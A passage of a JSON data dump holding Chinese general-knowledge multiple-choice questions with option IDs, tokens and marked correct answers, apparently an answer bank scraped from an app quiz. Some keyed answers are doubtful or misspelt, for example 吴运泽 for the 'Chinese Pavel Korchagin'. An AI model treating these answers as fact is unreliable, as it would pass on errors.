04:37:28","status":"1"},{"questionId":"6901439001","questionIndex":"2","questionStem":"人类最早驯养的动物?","options":"[{\"optionId\":\"Lc0Sx0BQhj7tIvYfjGH__ULAP7FWE82RsurdgQ\",\"optionDesc\":\"鸡\"},{\"optionId\":\"Lc0Sx0BQhj7tIvYfjGH__hEKFCjrIlybhFYJug\",\"optionDesc\":\"狗\"},{\"optionId\":\"Lc0Sx0BQhj7tIvYfjGH__OM_PHw2wq05QcgA0w\",\"optionDesc\":\"马\"}]","questionToken":"Lc0Sx0BQhj7tIvZOnynkrIddYCL6J6MVkJFDfePCRgDHqaVhUxC6RF2Kv7nDraaqujo4-lruDfUzDMi9pd2V8kDaJtXKyA","correct":"{\"optionId\":\"Lc0Sx0BQhj7tIvYfjGH__hEKFCjrIlybhFYJug\",\"optionDesc\":\"狗\"}","create_time":"27/1/2021 04:03:33","update_time":"27/1/2021 04:03:33","status":"1"},{"questionId":"6901439002","questionIndex":"3","questionStem":"白雪公主出自?","options":"[{\"optionId\":\"Lc0Sx0BQhj7tIfYfjGH__QYJ0Z8-YQ-VsJo_Xw\",\"optionDesc\":\"安徒生童话\"},{\"optionId\":\"Lc0Sx0BQhj7tIfYfjGH__qDrP2WcBjHJm32bUw\",\"optionDesc\":\"格林童话\"},{\"optionId\":\"Lc0Sx0BQhj7tIfYfjGH__NwpnQ7APdQNWz612Q\",\"optionDesc\":\"小神龙俱乐部\"}]","questionToken":"Lc0Sx0BQhj7tIfZPnynkq-RC0nmPYyrXRAytCEkinR0-CkoUAAJTLt9LOr-ZDd9XDeBnNVAOoC55Cg3vbUoV2G-i6Oi57Q","correct":"{\"optionId\":\"Lc0Sx0BQhj7tIfYfjGH__qDrP2WcBjHJm32bUw\",\"optionDesc\":\"格林童话\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"6901439003","questionIndex":"1","questionStem":"龙虾的血液是什么颜色?","options":"[{\"optionId\":\"Lc0Sx0BQhj7tIPYfjGH__aDjOInnMJ8bAD0\",\"optionDesc\":\"红色\"},{\"optionId\":\"Lc0Sx0BQhj7tIPYfjGH__CDTPPIF2Zietjs\",\"optionDesc\":\"白色\"},{\"optionId\":\"Lc0Sx0BQhj7tIPYfjGH__okJNFOMTsoQEvg\",\"optionDesc\":\"蓝色\"}]","questionToken":"Lc0Sx0BQhj7tIPZNnynkq9Hwg9NKAUAeCrifPgKbmg7ubozKiArYNfmXEZurVXDb5OgRfCqw84tRTwDHiOGVW49JyveO_Q","correct":"{\"optionId\":\"Lc0Sx0BQhj7tIPYfjGH__okJNFOMTsoQEvg\",\"optionDesc\":\"蓝色\"}","create_time":"27/1/2021 04:39:21","update_time":"27/1/2021 04:39:21","status":"1"},{"questionId":"6901439004","questionIndex":"4","questionStem":"格林童话作者是几个人?","options":"[{\"optionId\":\"Lc0Sx0BQhj7tJ_YfjGH__HGLCY-LpOBcKL0e\",\"optionDesc\":\"一个\"},{\"optionId\":\"Lc0Sx0BQhj7tJ_YfjGH__vXs7W9zNNcczQkM\",\"optionDesc\":\"两个\"},{\"optionId\":\"Lc0Sx0BQhj7tJ_YfjGH__YbBcZr0AjrT5a35\",\"optionDesc\":\"三个\"}]","questionToken":"Lc0Sx0BQhj7tJ_ZInynkrANMvof5lD97EgcqAKs-bdsWVVy5GdCERfFlFIzDeR-hA6dGg8HZKd-OGDsy27lLna11_uvkJQ","correct":"{\"optionId\":\"Lc0Sx0BQhj7tJ_YfjGH__vXs7W9zNNcczQkM\",\"optionDesc\":\"两个\"}","create_time":"27/1/2021 04:32:33","update_time":"27/1/2021 04:32:33","status":"1"},{"questionId":"6901439005","questionIndex":"5","questionStem":"“中国的保尔柯察金”是谁?","options":"[{\"optionId\":\"Lc0Sx0BQhj7tJvYfjGH__vz2NIutjbztYQY\",\"optionDesc\":\"吴运泽\"},{\"optionId\":\"Lc0Sx0BQhj7tJvYfjGH__VKaPkSd2Lodm_0\",\"optionDesc\":\"张海迪\"},{\"optionId\":\"Lc0Sx0BQhj7tJvYfjGH__A0EjOOtPijZbP0\",\"optionDesc\":\"梁思成\"}]","questionToken":"Lc0Sx0BQhj7tJvZJnynkrAhft9PzU8jo2RggQQMFaiHEk2ihxbWR9NFenpLpefcDK-mTIslGHaopwP1Rb17A7s01tyjCZQ","correct":"{\"optionId\":\"Lc0Sx0BQhj7tJvYfjGH__vz2NIutjbztYQY\",\"optionDesc\":\"吴运泽\"}","create_time":"27/1/2021 04:54:09","update_time":"27/1/2021 04:54:09","status":"1"},{"questionId":"8701437593","questionIndex":"4","questionStem":"三国中“三英战吕布”没有谁?","options":"[{\"optionId\":\"I8MSx0BQiDvmQ0alnc34k0fn1AJ3UdX80bPZ\",\"optionDesc\":\"刘备\"},{\"optionId\":\"I8MSx0BQiDvmQ0alnc34kWyEfH22i8Hey4ep\",\"optionDesc\":\"赵云\"},{\"optionId\":\"I8MSx0BQiDvmQ0alnc34klk4nhxP6U0p0vxz\",\"optionDesc\":\"关羽\"}]","questionToken":"I8MSx0BQiDvmQ0byjoXjxERaL63twr-ldkjzkBTzxoi2mCeR558FjDwAYS5xRVmSD29BgHxUkhBKBBcy7dayBlP1S68zWg","correct":"{\"optionId\":\"I8MSx0BQiDvmQ0alnc34kWyEfH22i8Hey4ep\",\"optionDesc\":\"赵云\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"8701437594","questionIndex":"5","questionStem":"交响乐”通常有几个乐章?","options":"[{\"optionId\":\"I8MSx0BQiDvmREalnc34ky9ieoQvOJa2rZc\",\"optionDesc\":\"三个\"},{\"optionId\":\"I8MSx0BQiDvmREalnc34kYhFOTxC8w0XC_I\",\"optionDesc\":\"四个\"},{\"optionId\":\"I8MSx0BQiDvmREalnc34kjMg1ysASAWLLEc\",\"optionDesc\":\"五个\"}]","questionToken":"I8MSx0BQiDvmREbzjoXjw_pl6ln6_ebywwHMeHkAEPt66mur1Jjry4LHevBJZom4JJkfs6eTP-pViAQZutrEDplkHpASSg","correct":"{\"optionId\":\"I8MSx0BQiDvmREalnc34kYhFOTxC8w0XC_I\",\"optionDesc\":\"四个\"}","create_time":"2/2/2021 16:48:29","update_time":"2/2/2021 16:48:29","status":"1"},{"questionId":"8701437595","questionIndex":"2","questionStem":"人体最敏感的部位是?","options":"[{\"optionId\":\"I8MSx0BQiDvmRUalnc34kumNMcvdqv89aEgu\",\"optionDesc\":\"指尖\"},{\"optionId\":\"I8MSx0BQiDvmRUalnc34k6KA1cXJKEjbllJo\",\"optionDesc\":\"耳垂儿\"},{\"optionId\":\"I8MSx0BQiDvmRUalnc34kYZLJNGTfRUKpqqb\",\"optionDesc\":\"舌尖\"}]","questionToken":"I8MSx0BQiDvmRUb0joXjww6qxQMIuLDR92ZwcHnSsm60tfuEKfJggwQhTWptExR3_5gDVm2NFEwc2uTargz7cGZkmzz16Q","correct":"{\"optionId\":\"I8MSx0BQiDvmRUalnc34kYZLJNGTfRUKpqqb\",\"optionDesc\":\"舌尖\"}","create_time":"2/2/2021 16:48:20","update_time":"2/2/2021 16:48:20","status":"1"},{"questionId":"8701437597","questionIndex":"3","questionStem":"“郁金香”的原产地是?","options":"[{\"optionId\":\"I8MSx0BQiDvmR0alnc34kYCDOi9SXMQcdQId\",\"optionDesc\":\"中国\"},{\"optionId\":\"I8MSx0BQiDvmR0alnc34kvtLPjidKCshM8Sn\",\"optionDesc\":\"芬兰\"},{\"optionId\":\"I8MSx0BQiDvmR0alnc34k4eqjr4iY-WdjcVf\",\"optionDesc\":\"荷兰\"}]","questionToken":"I8MSx0BQiDvmR0b1joXjxI0c4n-4oj_JIQTlDSBlomqL8LNgFDVf-IXIfrpRgoy4ikX3I8-MqaDVHGTGp24F-9-p443R-g","correct":"{\"optionId\":\"I8MSx0BQiDvmR0alnc34kYCDOi9SXMQcdQId\",\"optionDesc\":\"中国\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"8701437598","questionIndex":"3","questionStem":"“沃尔沃”汽车原产地?","options":"[{\"optionId\":\"I8MSx0BQiDvmSEalnc34kSy9q1SuktEJCEHagw\",\"optionDesc\":\"瑞典\"},{\"optionId\":\"I8MSx0BQiDvmSEalnc34knA0tzWJIZRQaKCCuA\",\"optionDesc\":\"荷兰\"},{\"optionId\":\"I8MSx0BQiDvmSEalnc34k5PFa7EKFSqWhkhgkg\",\"optionDesc\":\"德国\"}]","questionToken":"I8MSx0BQiDvmSEb1joXjxFQ5tRhIyhUYf059yiM_-sgqkPliRuYiLOknF_Y3VswzvSqHMeIRIOlgTXX6_7IhTgqBcWGcnQ","correct":"{\"optionId\":\"I8MSx0BQiDvmSEalnc34kSy9q1SuktEJCEHagw\",\"optionDesc\":\"瑞典\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"8701437702","questionIndex":"2","questionStem":"“音乐”最早出现在?","options":"[{\"optionId\":\"I8MSx0BQiDmDn5w5qe8WhrGFLnArFTlqeOiC\",\"optionDesc\":\"《乐府诗集》\"},{\"optionId\":\"I8MSx0BQiDmDn5w5qe8Whauas3nVSl4liSrI\",\"optionDesc\":\"《吕氏春秋》\"},{\"optionId\":\"I8MSx0BQiDmDn5w5qe8Wh0e1C9sMQO3Im_OX\",\"optionDesc\":\"《诗经》\"}]","questionToken":"I8MSx0BQiDmDn5xouqcN0NDdKWExJlmWSFCkbzCHATdK5b3anTYgT455OEeJUR6lT0Y2fpY5BCnDMmULH9vzZd7O0NNenQ","correct":"{\"optionId\":\"I8MSx0BQiDmDn5w5qe8Whauas3nVSl4liSrI\",\"optionDesc\":\"《吕氏春秋》\"}","create_time":"2/2/2021 16:48:54","update_time":"2/2/2021 16:48:54","status":"1"},{"questionId":"8701437703","questionIndex":"5","questionStem":"美国的国球是?","options":"[{\"optionId\":\"I8MSx0BQiDmDnpw5qe8Whc3EC5v0-c4sixMXWQ\",\"optionDesc\":\"棒球\"},{\"optionId\":\"I8MSx0BQiDmDnpw5qe8Wh5e5mIsxiHf7KzBdEw\",\"optionDesc\":\"高尔夫球\"},{\"optionId\":\"I8MSx0BQiDmDnpw5qe8Whusre0rKZYzbySP5BQ\",\"optionDesc\":\"橄榄球\"}]","questionToken":"I8MSx0BQiDmDnpxvuqcN0LbsZ_ThPOKnhxkK5T15L9hLj_qxpianPHEOvdJuP4-e2kizE4tLcR0HzTqQUa5gYpy4w0rcGQ","correct":"{\"optionId\":\"I8MSx0BQiDmDnpw5qe8Whc3EC5v0-c4sixMXWQ\",\"optionDesc\":\"棒球\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"8701437704","questionIndex":"4","questionStem":"京剧起源于?","options":"[{\"optionId\":\"I8MSx0BQiDmDmZw5qe8WhooAPm5f3hMFT-Kx\",\"optionDesc\":\"唐朝\"},{\"optionId\":\"I8MSx0BQiDmDmZw5qe8Wh_ILbnG6_knNm8_b\",\"optionDesc\":\"明朝\"},{\"optionId\":\"I8MSx0BQiDmDmZw5qe8WhS_tqubOHCF40Ync\",\"optionDesc\":\"清朝\"}]","questionToken":"I8MSx0BQiDmDmZxuuqcN15U8gJUSJ47Y2SQee50LDI1BlimkCK0FBxSZstsPVaJE3jSvXXDrRZOCRVYxW5KGW_ghx3ZKcg","correct":"{\"optionId\":\"I8MSx0BQiDmDmZw5qe8WhS_tqubOHCF40Ync\",\"optionDesc\":\"清朝\"}","create_time":"2/2/2021 16:47:57","update_time":"2/2/2021 16:47:57","status":"1"},{"questionId":"8701437705","questionIndex":"4","questionStem":"慈禧曾几次垂帘听政?","options":"[{\"optionId\":\"I8MSx0BQiDmDmJw5qe8WhcjRrcS0N04HnPt2HA\",\"optionDesc\":\"三次\"},{\"optionId\":\"I8MSx0BQiDmDmJw5qe8Wh8_grf0o7a4Uu_BGlQ\",\"optionDesc\":\"两次\"},{\"optionId\":\"I8MSx0BQiDmDmJw5qe8Whkei5cCWowfPO03w3Q\",\"optionDesc\":\"四次\"}]","questionToken":"I8MSx0BQiDmDmJxuuqcN13yKU8iswZO113BOe3ciQDwOKBBskpr5goR17MUpNmSYnCJ-vRc4tFPXWfcuiVRDy4C_1sH7AA","correct":"{\"optionId\":\"I8MSx0BQiDmDmJw5qe8WhcjRrcS0N04HnPt2HA\",\"optionDesc\":\"三次\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"8701437706","questionIndex":"4","questionStem":"“愚人节”起源于?","options":"[{\"optionId\":\"I8MSx0BQiDmDm5w5qe8WhshAg0vAHpLDDZtRag\",\"optionDesc\":\"德国\"},{\"optionId\":\"I8MSx0BQiDmDm5w5qe8Wh-hU7G6OxAH_UMN9Dg\",\"optionDesc\":\"美国\"},{\"optionId\":\"I8MSx0BQiDmDm5w5qe8Whe_AG8lRKG0EcLlyrA\",\"optionDesc\":\"法国\"}]","questionToken":"I8MSx0BQiDmDm5xuuqcN0NEs3qcRgyQ0e9OFd4yNgXhAuXYwFm3EK3qi3oBjbjaXC3z5bl6yyAz-OdpwCYLVb9NUREtkDw","correct":"{\"optionId\":\"I8MSx0BQiDmDm5w5qe8Whe_AG8lRKG0EcLlyrA\",\"optionDesc\":\"法国\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"8701437707","questionIndex":"2","questionStem":"电视机是谁发明的?","options":"[{\"optionId\":\"I8MSx0BQiDmDmpw5qe8WhSuki-JeudFojsR0\",\"optionDesc\":\"贝尔德\"},{\"optionId\":\"I8MSx0BQiDmDmpw5qe8Whq7JY-awkFn03-CX\",\"optionDesc\":\"爱迪生\"},{\"optionId\":\"I8MSx0BQiDmDmpw5qe8Wh8bx6SYnOzETi4-c\",\"optionDesc\":\"贝尔\"}]","questionToken":"I8MSx0BQiDmDmpxouqcN126_UytS7u6oOrsBiBJ-OsEMrgF4xxwbjs1yRP8YBejnI8BupAsq2pTlxrwLmcLLd_ZxSLHcQA","correct":"{\"optionId\":\"I8MSx0BQiDmDmpw5qe8WhSuki-JeudFojsR0\",\"optionDesc\":\"贝尔德\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"8701437709","questionIndex":"2","questionStem":"哪种糖纯度最高?","options":"[{\"optionId\":\"I8MSx0BQiDmDlJw5qe8WhgxZn_vlRqCJ4R0\",\"optionDesc\":\"白糖\"},{\"optionId\":\"I8MSx0BQiDmDlJw5qe8Wh0yKzdPGI7d4CrA\",\"optionDesc\":\"红糖\"},{\"optionId\":\"I8MSx0BQiDmDlJw5qe8WhVvhpfjrDTyXZY8\",\"optionDesc\":\"冰糖\"}]","questionToken":"I8MSx0BQiDmDlJxouqcN0Pyt_r6RLF3yLZlkcZ84yAd7R1sohSisahn1UOQRam3XKK-ZvWcAQbsYMcgduO56hLlPI-UDPA","correct":"{\"optionId\":\"I8MSx0BQiDmDlJw5qe8WhVvhpfjrDTyXZY8\",\"optionDesc\":\"冰糖\"}","create_time":"2/2/2021 16:48:05","update_time":"2/2/2021 16:48:05","status":"1"},{"questionId":"8701437710","questionIndex":"5","questionStem":"“都柏林”在哪个国家?","options":"[{\"optionId\":\"I8MSx0BQiDmCnZw5qe8WhbJKZ_O33nACPKU\",\"optionDesc\":\"爱尔兰\"},{\"optionId\":\"I8MSx0BQiDmCnZw5qe8WhjO7qezbM0WuMmI\",\"optionDesc\":\"德国\"},{\"optionId\":\"I8MSx0BQiDmCnZw5qe8Whw5DJoiZ-0GvbSc\",\"optionDesc\":\"英格兰\"}]","questionToken":"I8MSx0BQiDmCnZxvuqcN0FZCR2cAsc19XisYK-YROSCShsks72226v6exKe4f53TcH54sI902Eanm0gNZ2dJ6Fp8ELd1wg","correct":"{\"optionId\":\"I8MSx0BQiDmCnZw5qe8WhbJKZ_O33nACPKU\",\"optionDesc\":\"爱尔兰\"}","create_time":"2/2/2021 16:48:20","update_time":"2/2/2021 16:48:20","status":"1"},{"questionId":"8701437713","questionIndex":"5","questionStem":"汽车中安全袋里的气体是?","options":"[{\"optionId\":\"I8MSx0BQiDmCnpw5qe8WhXWMzXVBMm1o_8bH\",\"optionDesc\":\"氮气\"},{\"optionId\":\"I8MSx0BQiDmCnpw5qe8Wh7VJUloiz8Daij-i\",\"optionDesc\":\"氙气\"},{\"optionId\":\"I8MSx0BQiDmCnpw5qe8WhjZG17DtxvPIlSx8\",\"optionDesc\":\"氖气\"}]","questionToken":"I8MSx0BQiDmCnpxvuqcN0GhECj4t7CyRx0h3eXZqP6jL4ZU-t4Cgj-zhC-Ska3BH9mujRl-yl04hHANcNSA-amljCs_vJA","correct":"{\"optionId\":\"I8MSx0BQiDmCnpw5qe8WhXWMzXVBMm1o_8bH\",\"optionDesc\":\"氮气\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"8701437714","questionIndex":"4","questionStem":"象脚鼓是哪个民族乐器?","options":"[{\"optionId\":\"I8MSx0BQiDmCmZw5qe8WhZEXzpFloWDSGho\",\"optionDesc\":\"傣族\"},{\"optionId\":\"I8MSx0BQiDmCmZw5qe8Why5-wwf60pWOJBk\",\"optionDesc\":\"朝鲜族\"},{\"optionId\":\"I8MSx0BQiDmCmZw5qe8WhpqsziUhReP2Q64\",\"optionDesc\":\"苗族\"}]","questionToken":"I8MSx0BQiDmCmZxuuqcN0HOSbwRbRX1zxY_uIgQLC1W4KGGGFnE-11GdGOUQ6ZoWKnTAexwZVzZPvVeweStEPehZ_29OlA","correct":"{\"optionId\":\"I8MSx0BQiDmCmZw5qe8WhZEXzpFloWDSGho\",\"optionDesc\":\"傣族\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"8701437716","questionIndex":"2","questionStem":"蚊子最怕什么味道?","options":"[{\"optionId\":\"I8MSx0BQiDmCm5w5qe8Wh3fnmjWmW4aJ5A\",\"optionDesc\":\"酒味\"},{\"optionId\":\"I8MSx0BQiDmCm5w5qe8Whr_DV9i1cv4VHQ\",\"optionDesc\":\"汗味\"},{\"optionId\":\"I8MSx0BQiDmCm5w5qe8WhXvUHdpgJMr00w\",\"optionDesc\":\"漂白粉味\"}]","questionToken":"I8MSx0BQiDmCm5xouqcN0Awuc0QATzfzrEp7BAluzGJyetXq8PDI6D7RhwMeV2qDqLwI9Gh2ZrrJ2xnHpRT0QEKDH9vxWg","correct":"{\"optionId\":\"I8MSx0BQiDmCm5w5qe8WhXvUHdpgJMr00w\",\"optionDesc\":\"漂白粉味\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"8701437717","questionIndex":"2","questionStem":"古代“如意”最早指?","options":"[{\"optionId\":\"I8MSx0BQiDmCmpw5qe8WhotMg_WtK2D0sdUT\",\"optionDesc\":\"祈福物\"},{\"optionId\":\"I8MSx0BQiDmCmpw5qe8WhWK-6guLNParQS5B\",\"optionDesc\":\"痒痒挠\"},{\"optionId\":\"I8MSx0BQiDmCmpw5qe8WhxNITOqnJXqPbhQ8\",\"optionDesc\":\"美容用具\"}]","questionToken":"I8MSx0BQiDmCmpxouqcN0H7KmJKsnjCZj4rVs-5tqCg_gscJxFiOtJcp8SOyOIzWgj5xMrVsUhr1DO2KZjBcKhJ9IiGTwQ","correct":"{\"optionId\":\"I8MSx0BQiDmCmpw5qe8WhWK-6guLNParQS5B\",\"optionDesc\":\"痒痒挠\"}","create_time":"2/2/2021 16:47:50","update_time":"2/2/2021 16:47:50","status":"1"},{"questionId":"8701437718","questionIndex":"1","questionStem":"埃及的新年在什么季节?","options":"[{\"optionId\":\"I8MSx0BQiDmClZw5qe8WhqRtPcG5Yocwxz_3MA\",\"optionDesc\":\"冬季\"},{\"optionId\":\"I8MSx0BQiDmClZw5qe8Wh-3KipJIUEMcR4kUuQ\",\"optionDesc\":\"春季\"},{\"optionId\":\"I8MSx0BQiDmClZw5qe8WhWIdVuM6FAmr61JSvg\",\"optionDesc\":\"秋季\"}]","questionToken":"I8MSx0BQiDmClZxruqcN0OAq1hUOboLawK33o1g2ReSgMKWTTEbI_G97odeWNpVDK-mmsgq6lorE2zC0Jm91g6bhaETWjA","correct":"{\"optionId\":\"I8MSx0BQiDmClZw5qe8WhWIdVuM6FAmr61JSvg\",\"optionDesc\":\"秋季\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"8701437719","questionIndex":"1","questionStem":"“商人”的“商”最早指的是?","options":"[{\"optionId\":\"I8MSx0BQiDmClJw5qe8WhWrgIYaZ8v2bkGJ5OQ\",\"optionDesc\":\"商朝\"},{\"optionId\":\"I8MSx0BQiDmClJw5qe8Wh4_yT81YdccttRuqag\",\"optionDesc\":\"商量\"},{\"optionId\":\"I8MSx0BQiDmClJw5qe8WhuC-NMPJj0UGLyNuZQ\",\"optionDesc\":\"钱币\"}]","questionToken":"I8MSx0BQiDmClJxruqcN1_Wmvo7E6tDwyBhAtyHdCAfwieuDYoFzbKWrtVY1lnOfS-LpnnIL-XgM3E1dlSwyMYfMXDFHXQ","correct":"{\"optionId\":\"I8MSx0BQiDmClJw5qe8WhWrgIYaZ8v2bkGJ5OQ\",\"optionDesc\":\"商朝\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"8701437720","questionIndex":"5","questionStem":"“味精”是哪国人发明的?","options":"[{\"optionId\":\"I8MSx0BQiDmBnZw5qe8Whl3OduDU3znp_A\",\"optionDesc\":\"韩国\"},{\"optionId\":\"I8MSx0BQiDmBnZw5qe8Wh6k6QIRdggK9yg\",\"optionDesc\":\"中国\"},{\"optionId\":\"I8MSx0BQiDmBnZw5qe8Whfa_d_q-Bd2Crg\",\"optionDesc\":\"日本\"}]","questionToken":"I8MSx0BQiDmBnZxvuqcN1xTSiNuzTew1Hn9pe6zyMWd0vgXgC02OUu2XOktYjABb8LF0niQvrBBPoqS0LDsc1aLhsITedw","correct":"{\"optionId\":\"I8MSx0BQiDmBnZw5qe8Whfa_d_q-Bd2Crg\",\"optionDesc\":\"日本\"}","create_time":"2/2/2021 16:48:17","update_time":"2/2/2021 16:48:17","status":"1"},{"questionId":"8701437721","questionIndex":"1","questionStem":"哪个名医年岁最大?","options":"[{\"optionId\":\"I8MSx0BQiDmBnJw5qe8Whpq64LQ1ET1r1rHo_w\",\"optionDesc\":\"扁鹊\"},{\"optionId\":\"I8MSx0BQiDmBnJw5qe8WhZ62FdQzqyz-AX8qBw\",\"optionDesc\":\"孙思邈\"},{\"optionId\":\"I8MSx0BQiDmBnJw5qe8Wh1D7wLAduYrjJHkkGg\",\"optionDesc\":\"华佗\"}]","questionToken":"I8MSx0BQiDmBnJxruqcN0HYfnXp9v6kY_kM1lj0Bt5Yf_CWlsPV9b7zRnXZfm8x0jEnePudrpHuRJRKgmkDlScmqPq3qSA","correct":"{\"optionId\":\"I8MSx0BQiDmBnJw5qe8WhZ62FdQzqyz-AX8qBw\",\"optionDesc\":\"孙思邈\"}","create_time":"2/2/2021 16:48:22","update_time":"2/2/2021 16:48:22","status":"1"},{"questionId":"8701437722","questionIndex":"5","questionStem":"“高原反应”的原因是?","options":"[{\"optionId\":\"I8MSx0BQiDmBn5w5qe8WhTiLyK7Rlfts2Jk\",\"optionDesc\":\"气压过低\"},{\"optionId\":\"I8MSx0BQiDmBn5w5qe8Wh445-ZmiB8YtMog\",\"optionDesc\":\"气温气压综合反映\"},{\"optionId\":\"I8MSx0BQiDmBn5w5qe8WhtYJscl0zuTX2BU\",\"optionDesc\":\"气温过低\"}]","questionToken":"I8MSx0BQiDmBn5xvuqcN0BLOJu1Ww6hw2lboq7VTnk_E7G7XWX6gZtd22VQ0UuuqAPVA-JuPvca11GclODZFe2rXEkvj9g","correct":"{\"optionId\":\"I8MSx0BQiDmBn5w5qe8WhTiLyK7Rlfts2Jk\",\"optionDesc\":\"气压过低\"}","create_time":"2/2/2021 16:48:05","update_time":"2/2/2021 16:48:05","status":"1"},{"questionId":"8701437723","questionIndex":"3","questionStem":"体温计的最高温度?","options":"[{\"optionId\":\"I8MSx0BQiDmBnpw5qe8WhXBpL-_JSplNwo00\",\"optionDesc\":\"42摄氏度\"},{\"optionId\":\"I8MSx0BQiDmBnpw5qe8Whu6ayYlZy0ykb5E-\",\"optionDesc\":\"45摄氏度\"},{\"optionId\":\"I8MSx0BQiDmBnpw5qe8Wh7v8k7AQQ0o1DVze\",\"optionDesc\":\"40摄氏度\"}]","questionToken":"I8MSx0BQiDmBnpxpuqcN15s3geeG_GEB4T_nqo3PFDmZtW4L_m6UXN5YLBpCoI44s_rD-uzrzmcT0qa0XPb_L8OrJTZ4ZA","correct":"{\"optionId\":\"I8MSx0BQiDmBnpw5qe8WhXBpL-_JSplNwo00\",\"optionDesc\":\"42摄氏度\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"8701437724","questionIndex":"1","questionStem":"“三明治”原产地?","options":"[{\"optionId\":\"I8MSx0BQiDmBmZw5qe8Whlq6uVZ3NSzW0QQ\",\"optionDesc\":\"德国\"},{\"optionId\":\"I8MSx0BQiDmBmZw5qe8Wh3bChEic9QYsVA4\",\"optionDesc\":\"美国\"},{\"optionId\":\"I8MSx0BQiDmBmZw5qe8WhY-c2lpYeQGKy_A\",\"optionDesc\":\"英国\"}]","questionToken":"I8MSx0BQiDmBmZxruqcN0I0-gH_sV5I8JER4jh0Io4xHk2OZr02r9EH2zqi4TGN6tYU2CvAurWF0zQpoOBTDVWeFkfETLw","correct":"{\"optionId\":\"I8MSx0BQiDmBmZw5qe8WhY-c2lpYeQGKy_A\",\"optionDesc\":\"英国\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"8701437725","questionIndex":"1","questionStem":"“夜市”最早出现在?","options":"[{\"optionId\":\"I8MSx0BQiDmBmJw5qe8WhSm5AlLy8-YN-WDm\",\"optionDesc\":\"唐朝\"},{\"optionId\":\"I8MSx0BQiDmBmJw5qe8WhjOVpYdeLZt1hBDt\",\"optionDesc\":\"宋朝\"},{\"optionId\":\"I8MSx0BQiDmBmJw5qe8Wh2vJuh01HfrJVatJ\",\"optionDesc\":\"元朝\"}]","questionToken":"I8MSx0BQiDmBmJxruqcN0M-BUqSc_iUfFrlgJrO0sxJdnHR4LxiKa0MgzSCij1_kvinoPznU6XH2kO6QV4vk2mWQQY-OAQ","correct":"{\"optionId\":\"I8MSx0BQiDmBmJw5qe8WhSm5AlLy8-YN-WDm\",\"optionDesc\":\"唐朝\"}","create_time":"2/2/2021 16:47:42","update_time":"2/2/2021 16:47:42","status":"1"},{"questionId":"8701437726","questionIndex":"5","questionStem":"人类最早驯养的动物?","options":"[{\"optionId\":\"I8MSx0BQiDmBm5w5qe8Whr8UvMLh6ij0mNYZbw\",\"optionDesc\":\"鸡\"},{\"optionId\":\"I8MSx0BQiDmBm5w5qe8Wh478MdmA84AX11arGQ\",\"optionDesc\":\"马\"},{\"optionId\":\"I8MSx0BQiDmBm5w5qe8WheGZyCxHSI4AP0RBaQ\",\"optionDesc\":\"狗\"}]","questionToken":"I8MSx0BQiDmBm5xvuqcN1_Tk2q3fX-ntiJb2Stzb-Vn-jv8U5vQqvJvNQHJnTxE3qO72H6KOPisORmrIBLdnRdcqDePf6g","correct":"{\"optionId\":\"I8MSx0BQiDmBm5w5qe8WheGZyCxHSI4AP0RBaQ\",\"optionDesc\":\"狗\"}","create_time":"2/2/2021 16:48:07","update_time":"2/2/2021 16:48:07","status":"1"},{"questionId":"8701437727","questionIndex":"4","questionStem":"白雪公主出自?","options":"[{\"optionId\":\"I8MSx0BQiDmBmpw5qe8WhQCRQ8M_i4keTnZz\",\"optionDesc\":\"格林童话\"},{\"optionId\":\"I8MSx0BQiDmBmpw5qe8Wh_bloCE6DNUE_55U\",\"optionDesc\":\"小神龙俱乐部\"},{\"optionId\":\"I8MSx0BQiDmBmpw5qe8Whj1bZoz359u6mACV\",\"optionDesc\":\"安徒生童话\"}]","questionToken":"I8MSx0BQiDmBmpxuuqcN1xecXOMQV_OHpww7XFNhWN_p2vzTt97HSafKByTD6WUyPLsk4vvEPjdGcg-FjqL4FAQtoJpSzw","correct":"{\"optionId\":\"I8MSx0BQiDmBmpw5qe8WhQCRQ8M_i4keTnZz\",\"optionDesc\":\"格林童话\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"8701437728","questionIndex":"3","questionStem":"龙虾的血液是什么颜色?","options":"[{\"optionId\":\"I8MSx0BQiDmBlZw5qe8Wh6U-5_2JbcUwVEX-\",\"optionDesc\":\"白色\"},{\"optionId\":\"I8MSx0BQiDmBlZw5qe8WhUVw8tnFje_9fFvs\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"I8MSx0BQiDmBlZw5qe8WhjbgaKWpxdn6ohDw\",\"optionDesc\":\"红色\"}]","questionToken":"I8MSx0BQiDmBlZxpuqcN0KPPYiuRtK9LXRYlTNooc65nWl16H9nH2CYx5Mz6UA63bPwE1ZE999ESGXFsVrpbDwEeWiiDRQ","correct":"{\"optionId\":\"I8MSx0BQiDmBlZw5qe8WhUVw8tnFje_9fFvs\",\"optionDesc\":\"蓝色\"}","create_time":"2/2/2021 16:47:53","update_time":"2/2/2021 